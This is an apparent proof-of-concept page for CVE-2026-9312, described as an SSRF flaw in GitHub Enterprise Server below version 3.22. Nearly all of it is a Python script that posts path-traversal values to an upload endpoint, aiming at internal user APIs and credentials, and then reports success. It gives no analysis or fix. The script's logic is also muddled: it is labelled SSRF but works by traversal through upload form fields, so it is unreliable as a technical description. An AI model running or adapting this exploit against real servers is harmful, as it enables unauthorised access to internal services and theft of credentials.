CVE-2026-9312 GitHub Enterprise Server SSRF服务器端请求伪造漏洞

# CVE-2026-9312 SSRF PoC # Target: GitHub Enterprise Server < 3.22 # Attack: Path traversal to access internal services import requests import urllib.parse TARGET_URL = "https://vulnerable-github-enterprise.com" def exploit_ssrf(): """Exploit SSRF via path traversal in upload endpoint""" # Malicious path with traversal sequences internal_path = "../../../internal/api/v2/users" # Construct the exploit request exploit_url = f"{TARGET_URL}/upload" # Payload with path traversal payload = { "file": ("malicious.txt", "test content", "text/plain"), "path": internal_path, "name": "../../internal/credentials" } try: # Send crafted request response = requests.post(exploit_url, files=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] SSRF successful - internal service accessed") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_ssrf()